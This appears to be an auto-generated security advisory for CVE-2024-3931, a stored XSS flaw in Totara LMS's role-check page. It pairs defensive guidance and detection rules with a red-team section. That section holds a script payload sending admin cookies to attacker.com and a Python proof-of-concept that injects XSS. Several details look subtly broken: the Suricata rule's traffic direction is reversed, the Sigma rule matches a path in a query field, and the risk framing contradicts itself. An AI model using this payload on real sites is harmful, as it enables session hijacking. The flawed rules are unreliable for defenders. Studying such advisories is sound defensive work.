CVE-2024-3931
Executive Summary
CVE-2024-3931 is a stored Cross-Site Scripting (XSS) vulnerability discovered in the Totara Learning Management System (LMS). The flaw resides in the admin/roles/check.php component, specifically within the User Selector functionality. An attacker with low privileges can inject malicious scripts via the "ID Number" argument, which is then stored and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, or defacement. The vulnerability affects all Totara LMS versions prior to the patched releases (13.46, 14.38, 15.33, 16.27, 17.21, and 18.8). A proof-of-concept has been publicly disclosed, increasing the risk of exploitation. The CVSS score is 3.5 (Low), but the public availability of exploit details elevates the practical risk.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct issue within the Totara LMS application codebase. Organizations using Totara should treat this as a critical supply chain risk due to the public exploit and the potential for lateral movement within the LMS environment.
CVSS Breakdown & Threat Level
- CVSS Score: 3.5 (Low)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs a valid user account with the ability to assign roles.
- User Interaction (UI): Required (R) – The victim must visit the affected page.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): None (N) – No direct data breach.
- Integrity (I): Low (L) – The attacker can modify content within the victim's browser session.
- Availability (A): None (N) – No denial of service.
Threat Level: While the CVSS score is low, the public availability of exploit details and the potential for privilege escalation via session hijacking make this a Medium priority for patching.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the admin/roles/check.php script. This script is used to manage user role assignments. The "ID Number" field, which is typically used for employee IDs or other identifiers, is not properly sanitized before being stored in the database and later rendered in the browser.
Attack Flow:
- An attacker with a low-privileged account (e.g., a learner or trainer) navigates to the role assignment interface.
- The attacker crafts a malicious payload, such as
<script>alert('XSS')</script>, and enters it into the "ID Number" field. - The payload is stored in the database without sanitization.
- When an administrator or another user views the user list or role assignment page, the payload is executed in their browser.
- The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the page.
Root Cause: The application fails to apply output encoding or input validation on the "ID Number" parameter before rendering it in the HTML context.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// admin/roles/check.php (simplified)
$idnumber = $_POST['idnumber'];
// No sanitization
$sql = "INSERT INTO user_roles (idnumber) VALUES ('$idnumber')";
// Later, when rendering:
echo "<td>" . $row['idnumber'] . "</td>";
Patched Code (Conceptual):
// admin/roles/check.php (simplified)
$idnumber = clean_param($_POST['idnumber'], PARAM_TEXT);
// Or using htmlspecialchars() when outputting
$sql = "INSERT INTO user_roles (idnumber) VALUES (?)";
$DB->execute($sql, [$idnumber]);
// When rendering:
echo "<td>" . s($row['idnumber']) . "</td>";
The patched version uses parameterized queries and output encoding (e.g., s() function in Totara, which is equivalent to htmlspecialchars()).
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A valid user account on a vulnerable Totara LMS instance (version < 18.8).
- Access to the role assignment interface.
Exploit Steps:
- Log in to Totara LMS with a low-privileged account.
- Navigate to
admin/roles/check.php. - In the "ID Number" field, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for an administrator to view the user list or role assignment page.
- The administrator's session cookie is exfiltrated to the attacker's server.
Proof-of-Concept (PoC) Script:
import requests
target = "https://vulnerable-totara.com"
session = requests.Session()
# Login (replace with actual credentials)
login_data = {"username": "attacker", "password": "password123"}
session.post(f"{target}/login/index.php", data=login_data)
# Exploit
payload = "<script>alert('XSS')</script>"
exploit_data = {"idnumber": payload, "roleid": "5", "userid": "123"}
session.post(f"{target}/admin/roles/check.php", data=exploit_data)
print("Payload injected. Wait for admin to visit the page.")
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests to
admin/roles/check.phpwith suspiciousidnumberparameters containing<script>or other HTML tags. - Use WAF rules to block common XSS patterns in the
idnumberfield.
Honeypot:
- Deploy a fake user account with a known ID number. Monitor for any unexpected changes or alerts when the account is accessed.
Lab Setup:
- Use a Docker container running a vulnerable Totara LMS version (e.g., 18.7).
- Set up a SIEM (e.g., Wazuh) to ingest Apache logs and trigger alerts on XSS patterns.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains containing
cookie=in the query string. - Unusual POST requests to
/admin/roles/check.phpwithidnumbercontaining<script>tags.
- Outbound HTTP requests to attacker-controlled domains containing
- Host:
- Log entries in
/var/log/apache2/access.logshowingPOST /admin/roles/check.phpwithidnumber=<script>. - Database entries in the
user_rolestable withidnumbercontaining HTML/JavaScript.
- Log entries in
- File:
- No specific file IOCs, as the payload is stored in the database.
Detection Engineering
YARA Rule
rule CVE_2024_3931_XSS_Payload {
meta:
description = "Detects XSS payloads targeting Totara LMS CVE-2024-3931"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-3931"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-3931 - XSS in Totara LMS User Selector
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts against Totara LMS admin/roles/check.php
author: Valters IT
date: 2024-10-27
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query: /admin/roles/check.php
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of HTML in ID numbers (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-3931 - XSS in Totara LMS User Selector";
flow:to_server,established;
content:"POST"; http_method;
content:"/admin/roles/check.php"; http_uri;
content:"idnumber="; http_client_body;
pcre:"/(<script|onerror|onload|javascript:)/i";
sid:1000001;
rev:1;
reference:cve,2024-3931;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade Totara LMS to the patched versions: 13.46, 14.38, 15.33, 16.27, 17.21, or 18.8.
- If immediate upgrade is not possible, apply a virtual patch using a WAF to block XSS patterns in the
idnumberparameter. - Review and sanitize all existing user ID numbers in the database for malicious content.
Long-Term Measures:
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Enforce input validation and output encoding for all user-supplied data.
- Conduct regular security audits and penetration testing.
Workaround:
- Disable the role assignment functionality temporarily by restricting access to
admin/roles/check.phpvia.htaccessor web server configuration.
Valters IT